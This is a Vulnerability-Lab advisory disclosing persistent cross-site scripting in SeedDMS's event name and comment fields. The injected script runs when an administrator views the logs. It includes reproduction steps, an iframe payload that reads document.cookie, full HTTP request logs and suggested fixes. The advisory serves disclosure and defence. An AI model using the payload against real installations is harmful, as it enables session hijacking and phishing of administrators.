Document Title: =============== SeedDMS v5.1.18 - Multiple Persistent Web Vulnerabilities References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2209 Release Date: ============= 2020-04-14 Vulnerability Laboratory ID (VL-ID): ==================================== 2209 Common Vulnerability Scoring System: ==================================== 4.3 Vulnerability Class: ==================== Cross Site Scripting - Persistent Current Estimated Price: ======================== 1.000€ - 2.000€ Product & Service Introduction: =============================== SeedDMS is a free document management system with an easy to use web based user interface. It is based on PHP and MySQL or sqlite3 and runs on Linux, MacOS and Windows. Many years of development has made it a mature, powerful and enterprise ready platform for sharing and storing documents. It's fully compatible with its predecessor LetoDMS. (Copy of the Homepage: https://www.seeddms.org/index.php?id=2 & https://www.seeddms.org/index.php?id=7 ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered multiple persistent vulnerabilities in the SeedDMS v5.1.16 & v5.1.18 web-application. Affected Product(s): ==================== Uwe Steinmann Product: SeedDMS - Content Management System v4.3.37, v5.0.13, v5.1.14, v5.1.16, v5.1.18 and v6.0.7 Vulnerability Disclosure Timeline: ================================== 2020-04-15: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Restricted Authentication (Guest Privileges) User Interaction: ================= Low User Interaction Disclosure Type: ================ Full Disclosure Technical Details & Description: ================================ Multiple persistent cross site web vulnerabilities has been discovered in the SeedDMS v4.3.37, v5.0.13, v5.1.14 and v6.0.7 web-application. The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to web-application requests from the application-side. The persistent cross site scripting web vulnerabilities are located in the `name` and `comment` parameter of the `AddEvent.php` file. Remote attackers are able to add an own event via op.AddEvent with malicious script codes. The request method to inject is POST and the attack vector is located on the application-side. After the inject the execution occurs in the admin panel within the `Log Management` - `Webdav` and `Web` on view. The content of the comment and name is unescaped pushed inside of the logs with a html/js template. Thus allows an attacker to remotly exploit the issue by a simple post inject from outside with lower privileges. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected or connected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] op.AddEvent (AddEvent.php) Vulnerable Parameter(s): [+] name [+] comment Affected Module(s): [+] Log Management (out.LogManagement.php) Proof of Concept (PoC): ======================= The persistent web vulnerability can be exploited by remote attackers with low privileged web-application user account and low user interaction. For security demonstration or to reproduce the security web vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Start your local webbrowser and tamper the http protocol session 2. Open the AddEvent.php and add a new event 3. Insert your script code test payload inside the Name or Comments path 4. Save or submit the entry with error Note: Now the web and webdav log has captured the insert or erro 5. Now wait until the administrator previews in the log management the web or webdav view function 6. Successful reproduce of the persistent web vulnerability! PoC: Vulnerable Source (Log Management - View) <pre>Apr 13 19:23:22 [info] admin (localhost) op.RemoveLog ?logname=20200413.log Apr 13 19:29:53 [info] admin (localhost) op.AddEvent ?name="<iframe src="evil.source" onload="alert(document.cookie)"></iframe> &comment=<iframe src="evil.source" onload="alert(document.cookie)"></iframe>&from=1586728800&to=1586815199 </pre> PoC: Payload >"<iframe%20src=evil.source%20onload=alert(document.cookie)></iframe> --- PoC Session Logs (POST) --- https://SeedDMS.localhost:8080/out/out.AddEvent.php Host: SeedDMS.localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Referer: https://SeedDMS.localhost:8080/out/out.Calendar.php?mode=y Cookie: mydms_session=b0496ccee96aa571a3ca486b8738c312 - GET: HTTP/1.1 200 OK Server: Apache/2.4.25 (Debian) Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2973 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive - https://SeedDMS.localhost:8080/op/op.AddEvent.php Host: SeedDMS.localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 356 Origin: https://SeedDMS.localhost:8080 Connection: keep-alive Referer: https://SeedDMS.localhost:8080/out/out.AddEvent.php Cookie: mydms_session=b0496ccee96aa571a3ca486b8738c312 from=2020-04-13&to=2020-04-13 &name=>"<iframe src=evil.source onload=alert(document.cookie)></iframe>&comment=>"<iframe src=evil.source onload=alert(document.cookie)></iframe> - POST: HTTP/1.1 302 Found Server: Apache/2.4.25 (Debian) Location: ../out/out.Calendar.php?mode=w&day=13&year=2020&month=04 Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Note: Injection Point via Calender op.AddEvent Name & Comment --- PoC Session Logs (GET) --- https://SeedDMS.localhost:8080/out/out.LogManagement.php?logname=20200413.log Host: SeedDMS.localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br X-Requested-With: XMLHttpRequest Connection: keep-alive Referer: https://SeedDMS.localhost:8080/out/out.LogManagement.php Cookie: mydms_session=b0496ccee96aa571a3ca486b8738c312 - GET: HTTP/1.1 200 OK Server: Apache/2.4.25 (Debian) Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 273 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 - https://SeedDMS.localhost:8080/out/evil.source Host: SeedDMS.localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Referer: https://SeedDMS.localhost:8080/out/out.LogManagement.php Cookie: mydms_session=b0496ccee96aa571a3ca486b8738c312 Upgrade-Insecure-Requests: 1 - GET: HTTP/1.1 302 Found Server: Apache/2.4.25 (Debian) Location: /out/out.ViewFolder.php Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Note: Execution Point via Log Management (AP) on Webdav View or Web View Reference(s): https://SeedDMS.localhost:8080/ https://SeedDMS.localhost:8080/op/op.AddEvent.php https://SeedDMS.localhost:8080/out/out.ViewFolder.php https://SeedDMS.localhost:8080/out/out.AddEvent.php https://SeedDMS.localhost:8080/out/out.LogManagement.php https://SeedDMS.localhost:8080/out/out.Calendar.php?mode= https://SeedDMS.localhost:8080/out/out.LogManagement.php?logname= Solution - Fix & Patch: ======================= 1. Parse and escape the name and comment input field on transmit to sanitize 2. Filter and restrict the input field of the name and comments parameter for special chars to prevent injects 3. Parse the output location of all web and webdav logfiles to prevent the execution point Security Risk: ============== The security risk of the persistent cross site web vulnerabilities in the seeddms web-application are estimated as medium. Credits & Authors: ================== Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M. Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 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